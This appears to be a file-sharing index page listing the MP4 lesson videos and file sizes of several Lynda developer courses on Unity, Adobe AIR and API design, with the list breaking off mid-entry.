Lynda - Developer

mp4   Hot:405   Size:193.55 GB   Created:2017-09-23 12:16:27   Update:2021-11-21 10:50:13  

Download link

File List

  • 文件过大导致无法格式化,将以元数据展示。
    [{"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/001 Welcome.mp4", "length": 6460114}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/002 What you should know before watching this course.mp4", "length": 1855918}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/003 Using the exercise files.mp4", "length": 3398455}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/004 Designing the game.mp4", "length": 6375724}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/005 Setting the project.mp4", "length": 6390874}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/006 Exploring the Hierarchy, Scene, and Inspector windows.mp4", "length": 10435481}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/007 Creating and transforming objects.mp4", "length": 15370668}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/008 Organizing the Assets window.mp4", "length": 4758524}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/009 Exporting objects from 3D modeling programs.mp4", "length": 19304113}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/010 Importing and configuring models and textures.mp4", "length": 8663014}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/011 Setting properties for models and textures in the Inspector.mp4", "length": 8790477}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/012 Introducing the game environment.mp4", "length": 10058114}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/013 Placing the player controller.mp4", "length": 11141014}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/014 Publishing project settings.mp4", "length": 10043073}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/015 Adding sky and fog.mp4", "length": 17233236}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/016 Fine-tuning the First Person Controller.mp4", "length": 14967212}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/017 Creating the terrain geometry.mp4", "length": 7925019}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/018 Forming the topography.mp4", "length": 31936127}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/019 Painting the terrain textures.mp4", "length": 16611645}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/020 Painting trees and forests.mp4", "length": 34968189}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/021 Painting grass, shrubs, and 3D geometry.mp4", "length": 45546797}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/022 Painting detail meshes.mp4", "length": 41458851}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/023 Adjusting terrain settings.mp4", "length": 35792347}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/024 Creating materials and assigning shaders.mp4", "length": 20976656}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/025 Handling multiple materials.mp4", "length": 21106722}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/026 Adding textures to a material.mp4", "length": 10513077}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/027 Manipulating textures.mp4", "length": 11776756}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/028 Adding reflections to materials.mp4", "length": 37545713}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/029 Creating lit materials.mp4", "length": 14546951}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/030 Creating GameObjects.mp4", "length": 8803241}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/031 Understanding components.mp4", "length": 28133205}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/032 Using colliders for barriers.mp4", "length": 29803159}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/033 Using colliders for triggers.mp4", "length": 33149667}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/034 Exploring physics.mp4", "length": 22911627}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/035 Working with Physic materials.mp4", "length": 15320237}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/036 Adding joints to rigid bodies.mp4", "length": 27195511}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/037 Setting up prefabs for animation and batching.mp4", "length": 12179480}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/038 Animating an object.mp4", "length": 15996581}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/039 Adjusting timing in an animation.mp4", "length": 6898634}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/040 Animating transparency and lights.mp4", "length": 11821952}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/041 Importing skinned meshes.mp4", "length": 12755475}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/042 Separating animations into clips and states.mp4", "length": 5755008}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/043 Creating transitions between states.mp4", "length": 8100729}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/044 Customizing ambient light.mp4", "length": 5969129}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/045 Creating the sun using a directional light.mp4", "length": 27428956}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/046 Using layers and tags for lighting.mp4", "length": 10157247}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/047 Adding spot and point lights.mp4", "length": 11579741}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/048 Using point lights for fill.mp4", "length": 20922058}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/049 Adding and fine-tuning shadows.mp4", "length": 22230415}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/050 Creating lighting effects with cookies.mp4", "length": 10228236}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/051 Adding scripts to GameObjects.mp4", "length": 5478556}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/052 Using correct script syntax.mp4", "length": 13438919}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/053 Setting up a 2D project.mp4", "length": 6619643}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/054 Importing sprites.mp4", "length": 4733320}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/055 Slicing in the Sprite Editor.mp4", "length": 5487977}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/056 Layering sprites and setting the sorting order.mp4", "length": 9553121}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/057 Creating 2D colliders.mp4", "length": 6560003}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/058 Adding 2D physics.mp4", "length": 4733115}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/059 Animating 2D elements.mp4", "length": 8379065}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/060 Creating light shafts and sunbeams.mp4", "length": 22682249}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/061 Using ambient occlusion to add gravity.mp4", "length": 21789256}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/062 Adding depth of field.mp4", "length": 40100250}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/063 Applying motion blur.mp4", "length": 27272957}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/064 Tuning color for mood.mp4", "length": 26710983}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/065 Exploring water effects.mp4", "length": 35936506}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/066 Working with wind zones.mp4", "length": 10092930}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/067 Using an audio source.mp4", "length": 7935677}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/068 Creating a sound zone.mp4", "length": 22522045}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/069 Triggering audio.mp4", "length": 12533548}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/070 Adding audio effects.mp4", "length": 15157162}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/071 Creating particle systems.mp4", "length": 6256451}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/072 Adjusting particle systems.mp4", "length": 43530699}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/073 Setting up occlusion culling.mp4", "length": 25161475}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/074 Enabling batching to reduce draw calls.mp4", "length": 16410340}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/075 Testing in the game window using statistics.mp4", "length": 17043169}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/076 Building a development build and debugging.mp4", "length": 28330570}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/077 Building the executable.mp4", "length": 26478889}, {"path": "3D-Animation-Games-tutorials_Unity-43-Essential-Training_15061/078 Next steps.mp4", "length": 2068426}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/001 Welcome.mp4", "length": 6091810}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/002 Understanding the prerequisites.mp4", "length": 793319}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/003 Using the exercise files.mp4", "length": 1395069}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/004 Understanding the runtime application.mp4", "length": 10638399}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/005 Understanding AIR 2.mp4", "length": 4735355}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/006 Installing and using the AIR SDK.mp4", "length": 6153739}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/007 Creating an AIR project in Flash Builder.mp4", "length": 16325340}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/008 Compiling a project in Flash Builder.mp4", "length": 11878931}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/009 Using the application descriptor file.mp4", "length": 10852841}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/010 Creating a desktop application icon.mp4", "length": 10875453}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/011 Creating a system tray icon.mp4", "length": 15408603}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/012 Creating an AIR application in Flash CS5.mp4", "length": 7918468}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/013 Packaging an AIR application in Flash CS5.mp4", "length": 13326148}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/014 Creating an AIR application with Flash Catalyst.mp4", "length": 20627053}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/015 Exporting a Flash Catalyst project into Flash Builder.mp4", "length": 5765431}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/016 Converting a Flex project into an AIR project.mp4", "length": 7406561}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/017 Creating windows.mp4", "length": 17573151}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/018 Changing the look and feel of application windows.mp4", "length": 16172235}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/019 Using window events.mp4", "length": 19036240}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/020 Moving and copying files.mp4", "length": 18543988}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/021 Using the file browsing components.mp4", "length": 21219952}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/022 Launching files in their default application.mp4", "length": 17126032}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/023 Working with mass storage devices.mp4", "length": 16694833}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/024 Detecting network availability.mp4", "length": 10663551}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/025 Connecting to web applications using HTTP.mp4", "length": 25692731}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/026 Displaying HTML content.mp4", "length": 15795754}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/027 Interacting with native operating processes.mp4", "length": 24622491}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/028 Interacting with other AIR applications.mp4", "length": 13950674}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/029 Creating a database file.mp4", "length": 22079606}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/030 Adding table data to a database.mp4", "length": 32941065}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/031 Storing and using unsupported data types.mp4", "length": 13868363}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/032 Understanding AIR security.mp4", "length": 14535402}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/033 Using encrypted data storage.mp4", "length": 20544705}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/034 Encrypting the AIR database.mp4", "length": 14273732}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/035 Updating AIR versions.mp4", "length": 25318969}, {"path": "AIR-2-tutorials_with-flash-and-flex-essential-training_6862/036 Goodbye.mp4", "length": 1620476}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/001 Welcome.mp4", "length": 6163767}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/002 Using the exercise files.mp4", "length": 1111227}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/003 Controlling adaptable tablet layouts.mp4", "length": 32571077}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/004 Using master_detail views.mp4", "length": 41453177}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/005 Controlling view hierarchy.mp4", "length": 19280026}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/006 Using 16-bit and 32-bit render modes.mp4", "length": 5057827}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/007 Using the ToggleSwitch component.mp4", "length": 22860352}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/008 Using the SpinnerList component.mp4", "length": 21061865}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/009 Using the DateSpinner component.mp4", "length": 23434924}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/010 Using the Scroller and List components.mp4", "length": 7709815}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/011 Using the SplashScreen component.mp4", "length": 15356046}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/012 Using soft keys.mp4", "length": 14298079}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/013 Adding and using an ANE library.mp4", "length": 25486962}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/014 Understanding native Android code.mp4", "length": 9636233}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/015 Understanding native iOS code.mp4", "length": 8050801}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/016 Building a Flex library project for deployment.mp4", "length": 18084903}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/017 Building an ANE file.mp4", "length": 14139930}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/018 Packaging for release.mp4", "length": 4159909}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/019 Understanding and deploying captive runtimes on Android.mp4", "length": 7372019}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/020 Using FlexUnit on WiFi.mp4", "length": 11201052}, {"path": "AIR-3-0-tutorials_Flex-4-6-and-Mobile-Apps-New-Features_9036/021 Goodbye.mp4", "length": 1578272}, {"path": "AIR-tutorials_for-flash-developers_53/001 Welcome.mp4", "length": 1597472}, {"path": "AIR-tutorials_for-flash-developers_53/002 Using the example files.mp4", "length": 913414}, {"path": "AIR-tutorials_for-flash-developers_53/003 Introduction to AIR.mp4", "length": 3127623}, {"path": "AIR-tutorials_for-flash-developers_53/004 Getting started with AIR.mp4", "length": 2821564}, {"path": "AIR-tutorials_for-flash-developers_53/005 Understanding the AIR application workflow.mp4", "length": 6646959}, {"path": "AIR-tutorials_for-flash-developers_53/006 Modifying the Application and Installer settings.mp4", "length": 12594856}, {"path": "AIR-tutorials_for-flash-developers_53/007 Signing your AIR application.mp4", "length": 6677528}, {"path": "AIR-tutorials_for-flash-developers_53/008 Packaging your AIR application .mp4", "length": 7061821}, {"path": "AIR-tutorials_for-flash-developers_53/009 Introducing the Clipboard.mp4", "length": 8106047}, {"path": "AIR-tutorials_for-flash-developers_53/010 Understanding the Clipboard.mp4", "length": 5342412}, {"path": "AIR-tutorials_for-flash-developers_53/011 Adding data to the Clipboard.mp4", "length": 24102090}, {"path": "AIR-tutorials_for-flash-developers_53/012 Getting data from the Clipboard.mp4", "length": 14323497}, {"path": "AIR-tutorials_for-flash-developers_53/013 Using deferred rendering.mp4", "length": 13505504}, {"path": "AIR-tutorials_for-flash-developers_53/014 Understanding drag-and-drop operations.mp4", "length": 3331914}, {"path": "AIR-tutorials_for-flash-developers_53/015 Supporting a drag operation.mp4", "length": 13465100}, {"path": "AIR-tutorials_for-flash-developers_53/016 Accepting dropped data.mp4", "length": 17992155}, {"path": "AIR-tutorials_for-flash-developers_53/017 Introducing file system support.mp4", "length": 6293267}, {"path": "AIR-tutorials_for-flash-developers_53/018 Working asynchronously vs. synchronously.mp4", "length": 4791212}, {"path": "AIR-tutorials_for-flash-developers_53/019 Browsing for files and directories.mp4", "length": 11092424}, {"path": "AIR-tutorials_for-flash-developers_53/020 Listing the contents of a directory.mp4", "length": 19263730}, {"path": "AIR-tutorials_for-flash-developers_53/021 Using the File class properties.mp4", "length": 11942635}, {"path": "AIR-tutorials_for-flash-developers_53/022 Performing file system actions.mp4", "length": 24582131}, {"path": "AIR-tutorials_for-flash-developers_53/023 Writing data to a file.mp4", "length": 23647212}, {"path": "AIR-tutorials_for-flash-developers_53/024 Reading files.mp4", "length": 22405851}, {"path": "AIR-tutorials_for-flash-developers_53/025 Using temporary files and directories.mp4", "length": 5080831}, {"path": "AIR-tutorials_for-flash-developers_53/026 Introducing HTML in AIR.mp4", "length": 4139968}, {"path": "AIR-tutorials_for-flash-developers_53/027 Using the HTMLLoader.mp4", "length": 17153962}, {"path": "AIR-tutorials_for-flash-developers_53/028 Scrolling HTMLLoader content.mp4", "length": 33643825}, {"path": "AIR-tutorials_for-flash-developers_53/029 Accessing HTML history.mp4", "length": 23828199}, {"path": "AIR-tutorials_for-flash-developers_53/030 Using script bridging.mp4", "length": 11257647}, {"path": "AIR-tutorials_for-flash-developers_53/031 Detecting PDF support.mp4", "length": 14012624}, {"path": "AIR-tutorials_for-flash-developers_53/032 Loading a PDF file with HTMLLoader.mp4", "length": 20658772}, {"path": "AIR-tutorials_for-flash-developers_53/033 Limitations of PDF support.mp4", "length": 2062620}, {"path": "AIR-tutorials_for-flash-developers_53/034 Introducing native windows.mp4", "length": 8193450}, {"path": "AIR-tutorials_for-flash-developers_53/035 Creating standard windows.mp4", "length": 30640439}, {"path": "AIR-tutorials_for-flash-developers_53/036 Creating windows with custom chrome.mp4", "length": 29980466}, {"path": "AIR-tutorials_for-flash-developers_53/037 Creating resizable windows.mp4", "length": 28046906}, {"path": "AIR-tutorials_for-flash-developers_53/038 Creating full-screen windows.mp4", "length": 24819481}, {"path": "AIR-tutorials_for-flash-developers_53/039 Setting a window to always be on top.mp4", "length": 15232253}, {"path": "AIR-tutorials_for-flash-developers_53/040 Showing and hiding windows.mp4", "length": 9373169}, {"path": "AIR-tutorials_for-flash-developers_53/041 Changing window order.mp4", "length": 15812963}, {"path": "AIR-tutorials_for-flash-developers_53/042 Listening to multiple windows.mp4", "length": 27645363}, {"path": "AIR-tutorials_for-flash-developers_53/043 Introducing native operating system integration.mp4", "length": 5976573}, {"path": "AIR-tutorials_for-flash-developers_53/044 Using application menus.mp4", "length": 29831508}, {"path": "AIR-tutorials_for-flash-developers_53/045 Using window menus.mp4", "length": 14720372}, {"path": "AIR-tutorials_for-flash-developers_53/046 Using context menus.mp4", "length": 9571440}, {"path": "AIR-tutorials_for-flash-developers_53/047 Setting up context menus.mp4", "length": 7074007}, {"path": "AIR-tutorials_for-flash-developers_53/048 Using system tray interaction.mp4", "length": 24891225}, {"path": "AIR-tutorials_for-flash-developers_53/049 Using dock integration.mp4", "length": 13332147}, {"path": "AIR-tutorials_for-flash-developers_53/050 Setting up event notifications.mp4", "length": 24022134}, {"path": "AIR-tutorials_for-flash-developers_53/051 Understanding the service monitor framework.mp4", "length": 3899290}, {"path": "AIR-tutorials_for-flash-developers_53/052 Using the URL monitor.mp4", "length": 17236311}, {"path": "AIR-tutorials_for-flash-developers_53/053 Using the service monitor.mp4", "length": 7864290}, {"path": "AIR-tutorials_for-flash-developers_53/054 Using the Contacts application.mp4", "length": 15402990}, {"path": "AIR-tutorials_for-flash-developers_53/055 Introducing the SQLite local database.mp4", "length": 6651533}, {"path": "AIR-tutorials_for-flash-developers_53/056 Working asynchronously vs. synchronously.mp4", "length": 5146579}, {"path": "AIR-tutorials_for-flash-developers_53/057 Creating a database.mp4", "length": 20383579}, {"path": "AIR-tutorials_for-flash-developers_53/058 Creating tables.mp4", "length": 30530899}, {"path": "AIR-tutorials_for-flash-developers_53/059 Creating SQL statements with parameters.mp4", "length": 39360846}, {"path": "AIR-tutorials_for-flash-developers_53/060 Selecting data and retrieving results.mp4", "length": 31686883}, {"path": "AIR-tutorials_for-flash-developers_53/061 Working with byte arrays.mp4", "length": 4020903}, {"path": "AIR-tutorials_for-flash-developers_53/062 Inserting data.mp4", "length": 21650878}, {"path": "AIR-tutorials_for-flash-developers_53/063 Retrieving data.mp4", "length": 12796598}, {"path": "AIR-tutorials_for-flash-developers_53/064 Using command-line arguments.mp4", "length": 16521573}, {"path": "AIR-tutorials_for-flash-developers_53/065 Using AIR to open files.mp4", "length": 13434277}, {"path": "AIR-tutorials_for-flash-developers_53/066 Custom file types.mp4", "length": 11535331}, {"path": "AIR-tutorials_for-flash-developers_53/067 Launching an application at startup.mp4", "length": 3951429}, {"path": "AIR-tutorials_for-flash-developers_53/068 Understanding the updater.mp4", "length": 17188181}, {"path": "AIR-tutorials_for-flash-developers_53/069 Retrieving an update file.mp4", "length": 26645614}, {"path": "AIR-tutorials_for-flash-developers_53/070 Performing an update.mp4", "length": 33549868}, {"path": "AIR-tutorials_for-flash-developers_53/071 Closing an application gracefully.mp4", "length": 13776660}, {"path": "AIR-tutorials_for-flash-developers_53/072 Supporting multiple monitors.mp4", "length": 9072990}, {"path": "AIR-tutorials_for-flash-developers_53/073 Installing a local web server.mp4", "length": 5526804}, {"path": "AIR-tutorials_for-flash-developers_53/074 Using a download link.mp4", "length": 10141447}, {"path": "AIR-tutorials_for-flash-developers_53/075 Using the Seamless Install Badge.mp4", "length": 11900752}, {"path": "AIR-tutorials_for-flash-developers_53/076 Goodbye.mp4", "length": 654178}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/001 Welcome.mp4", "length": 3855201}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/002 What you should know before watching this course.mp4", "length": 522422}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/003 Using the challenges.mp4", "length": 1206984}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/004 Three approaches to adding an API.mp4", "length": 6057203}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/005 Tips for modeling APIs.mp4", "length": 1384457}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/006 Identifying participants.mp4", "length": 1510126}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/007 Identifying activities and breaking them into steps.mp4", "length": 1819902}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/008 Challenge - Identify participants and activities to order a book online.mp4", "length": 1982121}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/009 Solution - Identify participants and activities to order a book online.mp4", "length": 1917257}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/010 Creating and grouping API methods.mp4", "length": 3604188}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/011 Mapping activities to verbs and actions.mp4", "length": 5873163}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/012 Validating your API by testing.mp4", "length": 1430869}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/013 Challenge - Validating your API model.mp4", "length": 1711501}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/014 Solution - Validating your API model.mp4", "length": 2224860}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/015 Overview of HTTP.mp4", "length": 2934958}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/016 HTTP headers and response codes.mp4", "length": 6730311}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/017 Challenge - Generate response codes.mp4", "length": 1534513}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/018 Solution - Generate response codes.mp4", "length": 1452532}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/019 REST APIs - The six constraints.mp4", "length": 1379154}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/020 Constraints 1 and 2 - Client and stateless servers.mp4", "length": 2747398}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/021 Constraint 3 - Cache.mp4", "length": 3885937}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/022 Challenge - Understanding caching with ETags.mp4", "length": 1736579}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/023 Solution - Understanding caching with ETags.mp4", "length": 1455628}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/024 Constraint 4 - Layered systems.mp4", "length": 3876678}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/025 Constraint 5 - Code on demand.mp4", "length": 1735838}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/026 Constraint 6 - Uniform interfaces.mp4", "length": 8826602}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/027 Challenge - Exploring an API without the documentation.mp4", "length": 1845083}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/028 Solution - Exploring an API without the documentation.mp4", "length": 1742537}, {"path": "API-tutorials_Effective-Design-RESTful-APIs_16677/029 Next steps.mp4", "length": 2355273}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/001 Welcome.mp4", "length": 9948844}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/002 Understanding Google Cloud APIs.mp4", "length": 5436654}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/003 Uncovering Google Cloud APIs.mp4", "length": 14411002}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/004 Establishing a proper development environment.mp4", "length": 4098265}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/005 Understanding device APIs.mp4", "length": 3964396}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/006 Addressing iOS.mp4", "length": 9135856}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/007 Connecting to Android.mp4", "length": 17921888}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/008 Handling Windows Phone.mp4", "length": 12243132}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/009 Working cross-device.mp4", "length": 7398644}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/010 Understanding social media APIs.mp4", "length": 6251967}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/011 Interfacing with Facebook.mp4", "length": 15552200}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/012 Managing Twitter via API control.mp4", "length": 16565114}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/013 Pulling images from Flickr.mp4", "length": 12933441}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/014 Understanding corporate APIs.mp4", "length": 3760246}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/015 Utilizing Google infrastructure.mp4", "length": 20592622}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/016 Taking a drive with General Motors APIs.mp4", "length": 10236846}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/017 Meeting up with Citrix APIs.mp4", "length": 12918037}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/018 Understanding public sector APIs.mp4", "length": 2451279}, {"path": "API-tutorials_Up-Running-Cloud-Service-APIs_15170/019 Visualizing census data.mp4", "length": 13304568}, {"path": 